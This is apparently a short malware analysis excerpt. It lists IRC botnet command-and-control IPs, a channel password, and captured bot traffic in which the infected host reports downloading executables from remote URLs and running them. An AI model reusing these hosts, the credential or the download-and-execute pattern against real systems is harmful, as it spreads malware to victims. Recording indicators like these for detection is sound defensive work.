Remote Host Port Number
115.239.230.68 5101 PASS hax0r
203.17.62.187 80
213.251.170.52 80
31.184.237.82 80
64.111.199.221 80
66.45.56.124 80
67.225.165.214 80
70.38.98.236 80
70.38.98.239 80
PASS hax0r..KCIK
n{US|XPa}ncfvgh
k..RSSR ncfvghk
0 0 :ncfvghk..SE
ND #ngme ng00..
PRIVMSG #ngme :[d=”http://31.184.237.82/ms02.exe” s=”100352 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data2.tmp” – Download retries: 0
PRIVMSG #ngme :[d=”http://31.184.237.82/ppbnt.exe” s=”61440 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data3.tmp” – Download retries: 0
PRIVMSG #ngme :[d=”http://img105.herosh.com/2011/07/09/982279045.gif” s=”19432 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
hosting infos:
http://whois.domaintools.com/115.239.230.68